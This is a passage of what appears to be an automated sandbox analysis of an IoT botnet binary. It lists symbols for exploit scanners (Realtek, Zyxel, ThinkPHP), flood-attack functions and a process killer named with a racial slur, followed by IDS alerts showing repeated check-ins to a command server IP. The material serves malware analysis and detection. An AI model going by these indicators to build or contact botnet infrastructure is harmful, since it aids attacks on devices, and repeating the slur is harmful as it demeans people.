libc/string/sparc/memcpy.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/sparc/memset.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/sparc/strchr.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/sparc/strcmp.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/sparc/strcpy.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/sparc/strlen.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/sysdeps/linux/sparc/crt1.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/sysdeps/linux/sparc/crti.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/sysdeps/linux/sparc/crtn.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/sysdeps/linux/sparc/fork.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/sysdeps/linux/sparc/rem.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/sysdeps/linux/sparc/udiv.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/sysdeps/linux/sparc/umul.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/sysdeps/linux/sparc/urem.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libgcc2.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
linksys.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
listFork	.symtab	0x19b24	432	FUNC	<unknown>	DEFAULT	2
listen	.symtab	0x282f0	28	FUNC	<unknown>	DEFAULT	2
listen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
llseek.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
lseek64	.symtab	0x29c34	112	FUNC	<unknown>	DEFAULT	2
macAddress	.symtab	0x424b8	6	OBJECT	<unknown>	DEFAULT	10
main	.symtab	0x1e3b0	3692	FUNC	<unknown>	DEFAULT	2
main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
makeIPPacket	.symtab	0x1a0d4	220	FUNC	<unknown>	DEFAULT	2
makeRandomStr	.symtab	0x19514	128	FUNC	<unknown>	DEFAULT	2
makevsepacket	.symtab	0x1bef8	344	FUNC	<unknown>	DEFAULT	2
malloc	.symtab	0x285b0	320	FUNC	<unknown>	DEFAULT	2
malloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
mem_exists	.symtab	0x16398	248	FUNC	<unknown>	DEFAULT	2
mem_exists	.symtab	0x18070	248	FUNC	<unknown>	DEFAULT	2
memchr	.symtab	0x2adb0	280	FUNC	<unknown>	DEFAULT	2
memcpy	.symtab	0x25cc8	4212	FUNC	<unknown>	DEFAULT	2
memmove	.symtab	0x256e4	1508	FUNC	<unknown>	DEFAULT	2
memory_scan_match	.symtab	0x15fdc	956	FUNC	<unknown>	DEFAULT	2
memory_scan_match	.symtab	0x17e64	524	FUNC	<unknown>	DEFAULT	2
mempcpy	.symtab	0x2aec8	32	FUNC	<unknown>	DEFAULT	2
mempcpy.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
memrchr	.symtab	0x2aee8	272	FUNC	<unknown>	DEFAULT	2
memrchr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
memset	.symtab	0x26d70	416	FUNC	<unknown>	DEFAULT	2
mylock	.symtab	0x422b0	24	OBJECT	<unknown>	DEFAULT	9
mylock	.symtab	0x4874c	24	OBJECT	<unknown>	DEFAULT	10
mylock	.symtab	0x423a4	24	OBJECT	<unknown>	DEFAULT	9
nanosleep	.symtab	0x29ca4	72	FUNC	<unknown>	DEFAULT	2
nanosleep.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
netlink.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
next_start.1092	.symtab	0x48528	4	OBJECT	<unknown>	DEFAULT	10
nigger_init	.symtab	0x16490	2860	FUNC	<unknown>	DEFAULT	2
nigger_kill	.symtab	0x16fbc	44	FUNC	<unknown>	DEFAULT	2
nigger_kill_by_port	.symtab	0x16fe8	3136	FUNC	<unknown>	DEFAULT	2
nigger_realpath_len	.symtab	0x424a4	4	OBJECT	<unknown>	DEFAULT	10
ntohl	.symtab	0x27e54	8	FUNC	<unknown>	DEFAULT	2
ntohl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
ntohs	.symtab	0x27e5c	12	FUNC	<unknown>	DEFAULT	2
ntop.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
numpids	.symtab	0x424b0	8	OBJECT	<unknown>	DEFAULT	10
object.2329	.symtab	0x423c4	24	OBJECT	<unknown>	DEFAULT	10
open	.symtab	0x23590	120	FUNC	<unknown>	DEFAULT	2
open.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
opendir	.symtab	0x238fc	260	FUNC	<unknown>	DEFAULT	2
opendir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
opennameservers.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
ourIP	.symtab	0x48980	4	OBJECT	<unknown>	DEFAULT	10
ovhl7	.symtab	0x1b198	3424	FUNC	<unknown>	DEFAULT	2
p.2246	.symtab	0x4201c	0	OBJECT	<unknown>	DEFAULT	9
pids	.symtab	0x48984	4	OBJECT	<unknown>	DEFAULT	10
poll	.symtab	0x2bf78	76	FUNC	<unknown>	DEFAULT	2
poll.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
prefix.4072	.symtab	0x30618	12	OBJECT	<unknown>	DEFAULT	4
print	.symtab	0x18f48	1144	FUNC	<unknown>	DEFAULT	2
printchar	.symtab	0x18b08	108	FUNC	<unknown>	DEFAULT	2
printi	.symtab	0x18d30	536	FUNC	<unknown>	DEFAULT	2
prints	.symtab	0x18b74	444	FUNC	<unknown>	DEFAULT	2
putc_unlocked	.symtab	0x2548c	292	FUNC	<unknown>	DEFAULT	2
puts	.symtab	0x23c48	140	FUNC	<unknown>	DEFAULT	2
puts.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
qual_chars.4078	.symtab	0x30630	20	OBJECT	<unknown>	DEFAULT	4
raise	.symtab	0x2d390	24	FUNC	<unknown>	DEFAULT	2
raise.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand	.symtab	0x28bf0	16	FUNC	<unknown>	DEFAULT	2
rand.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand_alphastr	.symtab	0x1f490	324	FUNC	<unknown>	DEFAULT	2
rand_cmwc	.symtab	0x1824c	356	FUNC	<unknown>	DEFAULT	2
rand_init	.symtab	0x1f21c	160	FUNC	<unknown>	DEFAULT	2
rand_next	.symtab	0x1f2bc	236	FUNC	<unknown>	DEFAULT	2
rand_str	.symtab	0x1f3a8	232	FUNC	<unknown>	DEFAULT	2
random	.symtab	0x28c00	80	FUNC	<unknown>	DEFAULT	2
random.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
random_poly_info	.symtab	0x312c8	40	OBJECT	<unknown>	DEFAULT	4
random_r	.symtab	0x28e80	156	FUNC	<unknown>	DEFAULT	2
random_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
randtbl	.symtab	0x422e4	128	OBJECT	<unknown>	DEFAULT	9
rawmemchr	.symtab	0x2c34c	204	FUNC	<unknown>	DEFAULT	2
rawmemchr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
read	.symtab	0x23620	76	FUNC	<unknown>	DEFAULT	2
read.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
read_etc_hosts_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
readdir	.symtab	0x23a00	168	FUNC	<unknown>	DEFAULT	2
readdir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
readlink	.symtab	0x2366c	76	FUNC	<unknown>	DEFAULT	2
readlink.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
realloc	.symtab	0x28848	280	FUNC	<unknown>	DEFAULT	2
realloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
realtek_scanner.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
realtekscanner_fake_time	.symtab	0x46518	4	OBJECT	<unknown>	DEFAULT	10
realtekscanner_get_random_ip	.symtab	0x20960	1196	FUNC	<unknown>	DEFAULT	2
realtekscanner_recv_strip_null	.symtab	0x1f5d4	196	FUNC	<unknown>	DEFAULT	2
realtekscanner_rsck	.symtab	0x464e4	4	OBJECT	<unknown>	DEFAULT	10
realtekscanner_rsck_out	.symtab	0x464e8	4	OBJECT	<unknown>	DEFAULT	10
realtekscanner_scanner_init	.symtab	0x1f698	4396	FUNC	<unknown>	DEFAULT	2
realtekscanner_scanner_kill	.symtab	0x207c4	44	FUNC	<unknown>	DEFAULT	2
realtekscanner_scanner_pid	.symtab	0x464e0	4	OBJECT	<unknown>	DEFAULT	10
realtekscanner_scanner_rawpkt	.symtab	0x464f0	40	OBJECT	<unknown>	DEFAULT	10
realtekscanner_setup_connection	.symtab	0x207f0	368	FUNC	<unknown>	DEFAULT	2
recv	.symtab	0x2830c	32	FUNC	<unknown>	DEFAULT	2
recv.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
recvLine	.symtab	0x19594	752	FUNC	<unknown>	DEFAULT	2
recvfrom	.symtab	0x2832c	88	FUNC	<unknown>	DEFAULT	2
recvfrom.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
resolv.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
resolv_domain_to_hostname	.symtab	0x20e0c	292	FUNC	<unknown>	DEFAULT	2
resolv_entries_free	.symtab	0x219b0	88	FUNC	<unknown>	DEFAULT	2
resolv_lookup	.symtab	0x21034	2428	FUNC	<unknown>	DEFAULT	2
resolv_skip_name	.symtab	0x20f30	260	FUNC	<unknown>	DEFAULT	2
rindex	.symtab	0x27190	192	FUNC	<unknown>	DEFAULT	2
sbrk	.symtab	0x29cec	84	FUNC	<unknown>	DEFAULT	2
sbrk.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
scanner.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
select	.symtab	0x236b8	84	FUNC	<unknown>	DEFAULT	2
select.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
send	.symtab	0x28384	32	FUNC	<unknown>	DEFAULT	2
send.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sendto	.symtab	0x283a4	88	FUNC	<unknown>	DEFAULT	2
sendto.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
setsid	.symtab	0x2370c	64	FUNC	<unknown>	DEFAULT	2
setsid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
setsockopt	.symtab	0x283fc	44	FUNC	<unknown>	DEFAULT	2
setsockopt.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
setstate	.symtab	0x28c50	96	FUNC	<unknown>	DEFAULT	2
setstate_r	.symtab	0x28d5c	292	FUNC	<unknown>	DEFAULT	2
sigaction	.symtab	0x2bcf4	160	FUNC	<unknown>	DEFAULT	2
sigaction.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
signal	.symtab	0x28474	188	FUNC	<unknown>	DEFAULT	2
signal.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sigprocmask	.symtab	0x29d40	140	FUNC	<unknown>	DEFAULT	2
sigprocmask.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sigsetops.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sleep	.symtab	0x2933c	428	FUNC	<unknown>	DEFAULT	2
sleep.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
socket	.symtab	0x28428	76	FUNC	<unknown>	DEFAULT	2
socket.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
socket_connect	.symtab	0x184f0	332	FUNC	<unknown>	DEFAULT	2
sockprintf	.symtab	0x193c0	240	FUNC	<unknown>	DEFAULT	2
spec_and_mask.4077	.symtab	0x30644	16	OBJECT	<unknown>	DEFAULT	4
spec_base.4071	.symtab	0x30628	7	OBJECT	<unknown>	DEFAULT	4
spec_chars.4074	.symtab	0x30678	21	OBJECT	<unknown>	DEFAULT	4
spec_flags.4073	.symtab	0x30690	8	OBJECT	<unknown>	DEFAULT	4
spec_or_mask.4076	.symtab	0x30654	16	OBJECT	<unknown>	DEFAULT	4
spec_ranges.4075	.symtab	0x30668	9	OBJECT	<unknown>	DEFAULT	4
sprintf	.symtab	0x23cd4	52	FUNC	<unknown>	DEFAULT	2
sprintf.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
srand	.symtab	0x28d10	76	FUNC	<unknown>	DEFAULT	2
srandom	.symtab	0x28d10	76	FUNC	<unknown>	DEFAULT	2
srandom_r	.symtab	0x28f1c	228	FUNC	<unknown>	DEFAULT	2
static_id	.symtab	0x42388	2	OBJECT	<unknown>	DEFAULT	9
static_ns	.symtab	0x48764	4	OBJECT	<unknown>	DEFAULT	10
std	.symtab	0x1b03c	348	FUNC	<unknown>	DEFAULT	2
stderr	.symtab	0x4206c	4	OBJECT	<unknown>	DEFAULT	9
stdin	.symtab	0x42064	4	OBJECT	<unknown>	DEFAULT	9
stdout	.symtab	0x42068	4	OBJECT	<unknown>	DEFAULT	9
strcasecmp	.symtab	0x2d514	92	FUNC	<unknown>	DEFAULT	2
strcasecmp.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strcasestr	.symtab	0x27d30	124	FUNC	<unknown>	DEFAULT	2
strcasestr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strchr	.symtab	0x26f84	524	FUNC	<unknown>	DEFAULT	2
strcmp	.symtab	0x272e4	648	FUNC	<unknown>	DEFAULT	2
strcoll	.symtab	0x272e4	648	FUNC	<unknown>	DEFAULT	2
strcpy	.symtab	0x275d4	804	FUNC	<unknown>	DEFAULT	2
strdup	.symtab	0x2c568	56	FUNC	<unknown>	DEFAULT	2
strdup.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strerror_r	.symtab	0x27c14	284	FUNC	<unknown>	DEFAULT	2
strlen	.symtab	0x27960	120	FUNC	<unknown>	DEFAULT	2
strncat	.symtab	0x2c418	224	FUNC	<unknown>	DEFAULT	2
strncat.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strncpy	.symtab	0x2aff8	248	FUNC	<unknown>	DEFAULT	2
strncpy.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strnlen	.symtab	0x279d8	252	FUNC	<unknown>	DEFAULT	2
strnlen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strpbrk	.symtab	0x2b16c	80	FUNC	<unknown>	DEFAULT	2
strpbrk.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strrchr	.symtab	0x27190	192	FUNC	<unknown>	DEFAULT	2
strspn	.symtab	0x2c4f8	112	FUNC	<unknown>	DEFAULT	2
strspn.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strstr	.symtab	0x27ad4	288	FUNC	<unknown>	DEFAULT	2
strstr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strtok	.symtab	0x27dac	24	FUNC	<unknown>	DEFAULT	2
strtok.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strtok_r	.symtab	0x2b0f0	124	FUNC	<unknown>	DEFAULT	2
strtok_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strtol	.symtab	0x290fc	20	FUNC	<unknown>	DEFAULT	2
strtol.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
table	.symtab	0x48988	416	OBJECT	<unknown>	DEFAULT	10
table.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
table_init	.symtab	0x21a08	1288	FUNC	<unknown>	DEFAULT	2
table_key	.symtab	0x42050	4	OBJECT	<unknown>	DEFAULT	9
table_lock_val	.symtab	0x21f5c	76	FUNC	<unknown>	DEFAULT	2
table_retrieve_val	.symtab	0x21fa8	104	FUNC	<unknown>	DEFAULT	2
table_unlock_val	.symtab	0x21f10	76	FUNC	<unknown>	DEFAULT	2
tcgetattr	.symtab	0x27de4	112	FUNC	<unknown>	DEFAULT	2
tcgetattr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
tcpcsum	.symtab	0x19e0c	244	FUNC	<unknown>	DEFAULT	2
thinkphp.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
time	.symtab	0x2374c	72	FUNC	<unknown>	DEFAULT	2
time.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
times	.symtab	0x29dcc	72	FUNC	<unknown>	DEFAULT	2
times.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
toggle_obf	.symtab	0x2209c	380	FUNC	<unknown>	DEFAULT	2
tolower	.symtab	0x2d3a8	36	FUNC	<unknown>	DEFAULT	2
tolower.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
toupper	.symtab	0x23850	36	FUNC	<unknown>	DEFAULT	2
toupper.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
trim	.symtab	0x189b0	344	FUNC	<unknown>	DEFAULT	2
type_codes	.symtab	0x30698	24	OBJECT	<unknown>	DEFAULT	4
type_sizes	.symtab	0x306b0	12	OBJECT	<unknown>	DEFAULT	4
unknown.1115	.symtab	0x30740	14	OBJECT	<unknown>	DEFAULT	4
unlink	.symtab	0x23794	68	FUNC	<unknown>	DEFAULT	2
unlink.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
unsafe_state	.symtab	0x422c8	28	OBJECT	<unknown>	DEFAULT	9
useragents	.symtab	0x42030	28	OBJECT	<unknown>	DEFAULT	9
usleep	.symtab	0x294e8	72	FUNC	<unknown>	DEFAULT	2
usleep.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
util.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
util_atoi	.symtab	0x225a0	832	FUNC	<unknown>	DEFAULT	2
util_fdgets	.symtab	0x22e50	252	FUNC	<unknown>	DEFAULT	2
util_isalpha	.symtab	0x22fb0	148	FUNC	<unknown>	DEFAULT	2
util_isdigit	.symtab	0x230d8	100	FUNC	<unknown>	DEFAULT	2
util_isspace	.symtab	0x23044	148	FUNC	<unknown>	DEFAULT	2
util_isupper	.symtab	0x22f4c	100	FUNC	<unknown>	DEFAULT	2
util_itoa	.symtab	0x228e0	460	FUNC	<unknown>	DEFAULT	2
util_local_addr	.symtab	0x22d6c	228	FUNC	<unknown>	DEFAULT	2
util_memcpy	.symtab	0x224d0	120	FUNC	<unknown>	DEFAULT	2
util_memsearch	.symtab	0x22aac	256	FUNC	<unknown>	DEFAULT	2
util_strcmp	.symtab	0x22390	240	FUNC	<unknown>	DEFAULT	2
util_strcpy	.symtab	0x22480	80	FUNC	<unknown>	DEFAULT	2
util_stristr	.symtab	0x22bac	448	FUNC	<unknown>	DEFAULT	2
util_strlen	.symtab	0x22218	112	FUNC	<unknown>	DEFAULT	2
util_strncmp	.symtab	0x22288	264	FUNC	<unknown>	DEFAULT	2
util_zero	.symtab	0x22548	88	FUNC	<unknown>	DEFAULT	2
vseattack	.symtab	0x1c050	1928	FUNC	<unknown>	DEFAULT	2
vsnprintf	.symtab	0x23d08	156	FUNC	<unknown>	DEFAULT	2
vsnprintf.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
w	.symtab	0x424cc	4	OBJECT	<unknown>	DEFAULT	10
w	.symtab	0x464dc	4	OBJECT	<unknown>	DEFAULT	10
wait4	.symtab	0x29e14	80	FUNC	<unknown>	DEFAULT	2
wait4.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
waitpid	.symtab	0x237d8	20	FUNC	<unknown>	DEFAULT	2
waitpid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
wcrtomb	.symtab	0x29f98	72	FUNC	<unknown>	DEFAULT	2
wcrtomb.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
wcsnrtombs	.symtab	0x29ffc	188	FUNC	<unknown>	DEFAULT	2
wcsnrtombs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
wcsrtombs	.symtab	0x29fe0	28	FUNC	<unknown>	DEFAULT	2
wcsrtombs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
write	.symtab	0x237ec	76	FUNC	<unknown>	DEFAULT	2
write.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
x	.symtab	0x424c0	4	OBJECT	<unknown>	DEFAULT	10
x	.symtab	0x464d0	4	OBJECT	<unknown>	DEFAULT	10
xdigits.3071	.symtab	0x31718	17	OBJECT	<unknown>	DEFAULT	4
xstatconv.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
y	.symtab	0x424c4	4	OBJECT	<unknown>	DEFAULT	10
y	.symtab	0x464d4	4	OBJECT	<unknown>	DEFAULT	10
z	.symtab	0x424c8	4	OBJECT	<unknown>	DEFAULT	10
z	.symtab	0x464d8	4	OBJECT	<unknown>	DEFAULT	10
zyxel_scanner.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-03T08:06:32.722717+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53030	212.64.199.97	65525	TCP
2025-01-03T08:06:34.516340+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53032	212.64.199.97	65525	TCP
2025-01-03T08:06:36.301308+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53034	212.64.199.97	65525	TCP
2025-01-03T08:06:38.073100+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53036	212.64.199.97	65525	TCP
2025-01-03T08:06:39.858699+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53038	212.64.199.97	65525	TCP
2025-01-03T08:06:41.636836+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53040	212.64.199.97	65525	TCP
2025-01-03T08:06:43.416918+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53042	212.64.199.97	65525	TCP
2025-01-03T08:06:45.207247+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53044	212.64.199.97	65525	TCP
2025-01-03T08:06:46.981678+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53046	212.64.199.97	65525	TCP
2025-01-03T08:06:49.698122+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53048	212.64.199.97	65525	TCP
2025-01-03T08:06:51.465716+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53050	212.64.199.97	65525	TCP
2025-01-03T08:06:53.235117+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53052	212.64.199.97	65525	TCP
2025-01-03T08:06:55.020950+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53054	212.64.199.97	65525	TCP
2025-01-03T08:06:56.798291+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53056	212.64.199.97	65525	TCP
2025-01-03T08:06:58.599252+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53058	212.64.199.97	65525	TCP
2025-01-03T08:07:01.162405+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53060	212.64.199.97	65525	TCP
2025-01-03T08:07:02.940891+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53062	212.64.199.97	65525	TCP
2025-01-03T08:07:04.727130+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53064	212.64.199.97	65525	TCP
2025-01-03T08:07:06.495948+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53066	212.64.199.97	65525	TCP
2025-01-03T08:07:08.302031+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53068	212.64.199.97	65525	TCP
2025-01-03T08:07:10.099991+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53070	212.64.199.97	65525	TCP
2025-01-03T08:07:11.891908+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53072	212.64.199.97	65525	TCP
2025-01-03T08:07:13.676168+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53074	212.64.199.97	65525	TCP
2025-01-03T08:07:15.450974+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53076	212.64.199.97	65525	TCP
2025-01-03T08:07:17.234912+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53078	212.64.199.97	65525	TCP
2025-01-03T08:07:19.017701+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53080	212.64.199.97	65525	TCP
2025-01-03T08:07:20.798660+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53082	212.64.199.97	65525	TCP
2025-01-03T08:07:22.579178+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53084	212.64.199.97	65525	TCP
2025-01-03T08:07:24.360987+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53086	212.64.199.97	65525	TCP
2025-01-03T08:07:26.162960+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53088	212.64.199.97	65525	TCP
2025-01-03T08:07:27.933680+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53090	212.64.199.97	65525	TCP
2025-01-03T08:07:29.730790+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53092	212.64.199.97	65525	TCP
2025-01-03T08:07:31.517616+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53094	212.64.199.97	65525	TCP
2025-01-03T08:07:33.298260+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53096	212.64.199.97	65525	TCP
2025-01-03T08:07:35.083888+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53098	212.64.199.97	65525	TCP
2025-01-03T08:07:36.861583+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53100	212.64.199.97	65525	TCP
2025-01-03T08:07:38.637501+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53102	212.64.199.97	65525	TCP
2025-01-03T08:07:40.425867+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53104	212.64.199.97	65525	TCP
2025-01-03T08:07:42.184077+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53106	212.64.199.97	65525	TCP
2025-01-03T08:07:43.977241+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53108	212.64.199.97	65525	TCP
